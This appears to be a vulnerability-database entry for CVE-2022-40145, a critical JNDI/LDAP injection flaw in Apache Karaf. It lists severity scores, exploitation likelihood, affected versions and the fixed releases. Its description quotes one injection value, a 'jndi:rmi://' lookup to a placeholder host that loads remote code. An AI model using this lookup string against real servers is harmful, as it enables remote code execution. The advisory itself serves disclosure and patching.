9.8

CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection

Modified
AliasesGHSA-c2p4-8mvv-rwmv
Published 21-12-2022Last modified 15-04-2025

Vulnerability summary

CVE-2022-40145 is a critical (CVSS 9.8) Improper Input Validation vulnerability in apache software foundation apache karaf. EPSS estimates a 2.65% chance of exploitation in the next 30 days, higher than 86.1% of scored vulnerabilities.

Priority
Prioritisesevere

Severe, CVSS 9.8 (CVE.org); no exploitation reported by the 5 checked sources; EPSS 3% (FIRST, 04-12-2026)

Source freshness unavailable

How is this decided?
CVSS score
9.8/10
010
Critical · v3.1 (CVE.org)
EPSS score
2.65%
0%100%
Low · +0.05 pp in 30 days
KEVNot listedNot listed by any tracked catalog.
RansomwareNot flaggedNo ransomware use recorded.
Public exploits0No public exploits recorded

Timeline

  1. 21-12-2022
    PublishedVulnerability first disclosed.
  2. 15-04-2025
    Last modifiedVulnerability information updated.

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

CVSS metrics

3 scores · 3 sources · 1 version

EPSS trend

Probability

2.65%

Chance of exploitation in the next 30 days

Percentile

86%

Versus all other CVEs

30-day change

Increase +0.05 pp

From 2.60% on 04-11-2026

04-11-202604-12-2026

Known exploited

Compare KEV catalogs
CISA KEV

Not in the CISA KEV catalog.

ENISA CNW

Not in the ENISA CNW catalog.

CIRCL

Not in the CIRCL catalog.

Public exploits

0 found

No public exploits indexed.

Weaknesses

CWE · root cause

Affected systems

Version check

Known conditions: network-reachable, no authentication, no user interaction (CVSS vector). Other conditions: not stated in public data.

Apache1 product
  • karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
Apache software foundation1 product
Org.apache.karaf1 product
  • apache-karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2

3 vendors · 3 products

References

7 links